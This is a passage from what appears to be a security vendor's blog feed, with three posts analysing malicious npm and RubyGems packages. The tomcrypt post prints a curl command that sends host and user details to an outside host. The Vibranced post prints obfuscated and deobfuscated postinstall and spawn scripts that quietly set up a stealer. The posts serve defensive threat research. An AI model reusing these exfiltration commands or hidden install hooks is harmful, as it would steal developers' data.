While looking for evidence of this new variant in the wild, we found a github repository that seemed to be the source of this stealer and includes the name we found inside.

Inspecting closer, we can confirm that this is the source as it includes the same files we extracted from the Nullsoft installer and the same batch file that is in charge of the electron app build. This repository was created a month ago, corresponding to our analysis from Virustotal that showed the first analysis of this variant was a couple of weeks ago, and was probably initiated by the attacker to check the detection for their malware.

Figure 15. Freshly created repository to host the source code

Core functionalities

The core functionalities of this stealer are pretty similar to different stealers and variants of the well known “Wasp Stealer” which we detected all over the last year, both on NPM and PYPI.

It has the ability to steal cookies, browser history, wallet addresses, autofills, discord tokens, Instagram and Tiktok sessions, and much more. The main difference is that it has an auto obfuscating process using crypter.js file, and the way it is getting built using electron to look like a legitimate app and stay fully undetectable.

Conclusion

The new Electron-based infostealer depicts the constant evolution of supply chain threats. While its capabilities are concerning, the bigger issue is how adversaries are able to masquerade their tools as legitimate software.

By using trusted frameworks like Electron, they make detection way more difficult. However, through ongoing threat research and analysis, we can unravel their techniques and better protect users.

We at Mend.io are committed to this mission and will keep developing solutions to detect and block every new technique that will be used by attackers to compromise our users.

]]>
The Unseen Risks of Open Source Dependencies: The Case of an Abandoned Name https://www.mend.io/blog/the-unseen-risks-of-open-source-dependencies-the-case-of-an-abandoned-name/ Wed, 31 May 2023 13:00:53 +0000 https://mend.io/the-unseen-risks-of-open-source-dependencies-the-case-of-an-abandoned-name/ One often-overlooked risk in the bustling ecosystem of open-source software are vulnerabilities introduced through software dependencies. We mention this because today, a malicious actor took over a RubyGems package name with more than two million downloads. Mend.io technology detected the package before it could be used for an attack, but the case of ‘gemnasium-gitlab-service‘ serves as an important reminder of the risk of neglecting dependency management. 

For context, a gem in the Ruby world is essentially a library or a package of code that developers can incorporate into their projects. They serve as building blocks for applications, each providing a unique piece of functionality.

gemnasium-gitlab-service‘ was one such gem, originally developed by Gemnasium and taken over and maintained by GitLab when they acquired Gemnasium. However, GitLab decided to retire this gem a while ago and move away from its usage in the GitLab software. 

Figure 1. Last commit from Sep 2017

Normally, such a decision would not cause any significant issues. Developers relying on the gem would either stick with the last available version or migrate to an alternative over time.

However, in the case of ‘gemnasium-gitlab-service‘, our research team discovered an unidentified entity scanning registries and code sources for references to packages that had names available for takeover in various registries.

The threat actor noticed that this gem had been removed and took the opportunity to take over the gem’s name. This person or group then published a new gem under the ‘gemnasium-gitlab-service‘ title.

Figure 2. Last version that was yanked by GitLab owner

Figure 3. Latest version published by the new author

The risk

Existing projects that haven’t updated their dependencies might unwittingly pull in this new version, assuming it’s a continuation of the original. Given that the new gem is now controlled by an unknown entity, it could be altered to include malicious code or to perform undesirable actions.

Our investigation has further revealed that this is not an isolated incident. By correlating data with the npm registry (Node.js’s equivalent of the RubyGems system), we found other packages containing malicious code that were published by the same owner more than six months ago. One such package was the npm module tomcrypt, which was published in September 2022 and contained malicious code that exfiltrates sensitive user information.

#!/bin/bash

curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64) http://ccrrzme2vtc0000mdfh0ggccx4ryyyyyb.oast.fun

Figure 4. Malicious code from the npm package tomcrypt

The implications of this finding are far-reaching. It suggests a systematic approach to find retired or unused open-source package names, take them over, and potentially exploit them. This highlights the risks associated with open-source dependencies, and the importance of good practices around dependency management.

Addressing the risk

Best practices that developers can adopt to mitigate such risks include:

  • Regularly review and update dependencies. Keeping dependencies up to date ensures that you receive the latest security updates and features.
  • Audit your dependencies. Use tools that check for vulnerabilities in your dependencies. For Ruby, this could be bundler-audit or ruby-advisory-db. For npm, consider using npm audit.
  • Use a lock file. This guarantees that the exact versions of dependencies specified in the lock file are what gets installed, reducing the risk of unexpected updates or changes.

This case study underscores the need for diligence and vigilance in the open-source ecosystem. While open-source software offers many benefits, it also brings risks that must be managed carefully. It is up to every developer and organization to do their part to safeguard the security of the software they create and use.

Keep yourself protected

Here at Mend.io, we’re dedicated to helping you stay one step ahead of attackers who seek to use techniques like this to detrimentally affect your software and applications. Make sure you use an automated supply chain security solution like Mend SCA, with malicious package detection and blocking powered by Mend Supply Chain Defender. With automated alerts, you’ll find out right away when there’s any anomalous behavior or packages from open source registries.

]]>
Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package https://www.mend.io/blog/deceptive-vibranced-npm-package-discovered-masquerading-as-popular-colors-package/ Mon, 17 Apr 2023 15:12:22 +0000 https://mend.io/deceptive-vibranced-npm-package-discovered-masquerading-as-popular-colors-package/ A new malicious package has been detected on the Node Package Manager (npm) repository that poses a significant threat to users who may unknowingly install it. Named ‘Vibranced,’ the package has been carefully crafted to mimic the popular ‘colors’ package, which has over 20 million weekly downloads. In this blog post, we will delve into the details of this new threat and explore the various stages of its execution, as well as the obfuscation techniques used to avoid detection.

Initial strategy 

The owner of the ‘Vibranced’ package released 13 versions and subsequently yanked them before uploading the last two stable versions (1.8.1,1.8.2). The first stable version contained the malicious code in plain text, making it easily detectable. However, the second version incorporated a new obfuscation technique that makes it more challenging for security tools to identify the harmful code. A fresh GitHub account was created on April 16th, but it does not include the final malicious version of the package. This tactic allows the owner to maintain a semblance of legitimacy while still distributing harmful code.

Figure 1: A fresh github account was created on April 16

Three-stage execution

The malicious code within the ‘Vibranced’ package is executed in three stages:

1. Post-install hook. The first stage involves the installation of all the required Python dependencies for the code using an obfuscated postinstall.js file.

function _0x604c() {
    const _0x4c592f = ['5498TxZiXl', '179479MGqOQw', '305756vxYxcE', '95gEoJnM', '54153uGOMLr', 'Could not find a valid Python installation!', '276YeRFWw', 'Make sure you have Python installed and try again!', '322432dUirmE', '416994LcjLAP', '7PlfzsI', 'python3 -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', '130lACcMB', 'python -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', '255oUWily', '1784BoxVPL', 'child_process', 'then', 'error'];
    _0x604c = function() {
        return _0x4c592f;
    };
    return _0x604c();
}

function _0x10e0(_0x2f98ce, _0x29d354) {
    const _0x604c65 = _0x604c();
    return _0x10e0 = function(_0x10e012, _0x2d9dd0) {
        _0x10e012 = _0x10e012 - 0x12f;
        let _0x591432 = _0x604c65[_0x10e012];
        return _0x591432;
    }, _0x10e0(_0x2f98ce, _0x29d354);
}
const _0x5519b6 = _0x10e0;
(function(_0x149479, _0x25febd) {
    const _0x43cba6 = _0x10e0,
        _0x419d45 = _0x149479();
    while (!![]) {
        try {
            const _0x237493 = -parseInt(_0x43cba6(0x137)) / 0x1 + -parseInt(_0x43cba6(0x136)) / 0x2 * (parseInt(_0x43cba6(0x131)) / 0x3) + -parseInt(_0x43cba6(0x132)) / 0x4 * (-parseInt(_0x43cba6(0x139)) / 0x5) + parseInt(_0x43cba6(0x13f)) / 0x6 * (-parseInt(_0x43cba6(0x140)) / 0x7) + parseInt(_0x43cba6(0x13e)) / 0x8 + -parseInt(_0x43cba6(0x13a)) / 0x9 * (parseInt(_0x43cba6(0x12f)) / 0xa) + -parseInt(_0x43cba6(0x138)) / 0xb * (-parseInt(_0x43cba6(0x13c)) / 0xc);
            if (_0x237493 === _0x25febd) break;
            else _0x419d45['push'](_0x419d45['shift']());
        } catch (_0x944991) {
            _0x419d45['push'](_0x419d45['shift']());
        }
    }
}(_0x604c, 0x1f0f6));
const {
    exec
} = require(_0x5519b6(0x133));
let errors = 0x0;
const main = async () => {
    const _0x378884 = _0x5519b6;
    exec(_0x378884(0x141), (_0x5a116b, _0x54e490, _0x2c4197) => {
        if (_0x5a116b) {
            errors++;
            return;
        }
    }), exec('py -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', (_0x52da38, _0x46ac2b, _0x2aeb23) => {
        if (_0x52da38) {
            errors++;
            return;
        }
    }), exec(_0x378884(0x130), (_0x47b27e, _0x5c7c40, _0x420096) => {
        if (_0x47b27e) {
            errors++;
            return;
        }
    }), await new Promise(_0x214af6 => setTimeout(_0x214af6, 0x2 * 0x3e8)), errors >= 0x3 && (console[_0x378884(0x135)](_0x378884(0x13b)), console['error'](_0x378884(0x13d)));
};
main()[_0x5519b6(0x134)]();

Figure 2: Obfuscated postinstall.js file

const { exec } = require('child_process')
let errors = 0
const main = async () => {
  exec(
    'python3 -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
    (_0x5a116b, _0x54e490, _0x2c4197) => {
      if (_0x5a116b) {
        errors++
        return
      }
    }
  )
  exec(
    'py -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
    (_0x52da38, _0x46ac2b, _0x2aeb23) => {
      if (_0x52da38) {
        errors++
        return
      }
    }
  )
  exec(
    'python -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
    (_0x47b27e, _0x5c7c40, _0x420096) => {
      if (_0x47b27e) {
        errors++
        return
      }
    }
  )
  await new Promise((_0x214af6) => setTimeout(_0x214af6, 2000))
  errors >= 3 &&
    (console.error('Could not find a valid Python installation!'),
    console.error('Make sure you have Python installed and try again!'))
}
main().then()

Figure 3: Deobfuscated postinstall.js file

2. Running the spawn.js file. The second stage executes the spawn.js file, which in turn runs the styles.py file according to the user’s Python usage.

const { spawn } = require("node:child_process");
const fs = require("node:fs");

const spawnPython = () => {
    try {
        spawn("python", [`${__dirname}/styles.py`])
    } catch (e) {console.error(e)}

    try {
        spawn("py", [`${__dirname}/styles.py`])
    } catch (e) {console.error(e)}

    try {
        spawn("python3", [`${__dirname}/styles.py`])
    } catch (e) {console.error(e)}
}

spawnPython()

Figure 4: Spawn.js file that tries to execute styles.py file according to the user’s Python usage

3. The actual malicious code. The third and final stage is where the real damage occurs. The code steals sensitive user information such as credit card details, browser information, Discord tokens, and so on.

Obfuscation techniques

Figure 5: A first glance look at the syles.py

Figure 6: Careful inspection reveals garbage variables set to a hexadecimal string and concatenated

To avoid detection, the package owner employed a new obfuscation technique that involves hiding a long base64 string inside a garbage-named variable. This variable is set to hexadecimal strings and concatenated to create one large encoded base64 string. This method makes it difficult for security tools to identify the malicious code within the package.

In addition, the styles.py file has been bloated with an excessive amount of code. This is another attempt to evade supply chain security tools that may analyze the package for potentially harmful content.

Masquerading as the ‘colors’ package

The ‘Vibranced’ package is designed to resemble the widely used “colors” package, which has more than 20 million weekly downloads. This tactic increases the likelihood that unsuspecting users will download and install the malicious package, believing it to be the legitimate ‘colors’ package.

Figure 7: Original colors package

Figure 8: Masqueraded ‘vibranced’ package

Conclusion

The discovery of the “Vibranced’ package serves as a reminder of the ever-evolving threats present in the world of software development. Developers must be vigilant when installing packages from the npm repository and always verify the authenticity of a package before using it.

To protect yourself from such threats, always perform a thorough code review, use security tools to scan for vulnerabilities, and stay informed about the latest developments in software security. By staying aware and proactive, developers can safeguard their projects and users from malicious packages like ‘Vibranced.’

]]>